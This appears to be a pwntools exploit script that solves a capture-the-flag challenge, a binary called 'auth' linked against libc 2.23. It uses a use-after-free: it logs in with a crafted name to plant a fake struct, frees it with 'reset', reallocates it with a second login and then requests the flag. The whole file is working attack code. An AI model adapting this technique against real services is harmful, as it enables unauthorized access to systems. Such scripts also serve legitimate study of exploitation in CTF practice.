from pwn import *

e = ELF("./auth")
libc = ELF("./libc-2.23.so")

#context.log_level = "debug"
context.terminal =["tmux", "split", "-h"]
context.binary = e.path

is_remote = "--remote" in sys.argv

if is_remote:
  r = remote("", 1234)
else:
  env = {"LD_PRELOAD": libc.path}
  r = process(e.path, env=env)

def debug():
  if not is_remote:
      gdb.attach(r)

def login(name):
  r.sendline("login " + name)
  r.recv()

def logout():
  r.sendline("reset")
  r.recv()

#debug()

login("A"*8 + p64(0x5)) # setup fake struct
logout() # free fake struct
login("AAAA") # malloc fake struct

r.sendline("get-flag")
print(r.recv())

r.interactive()
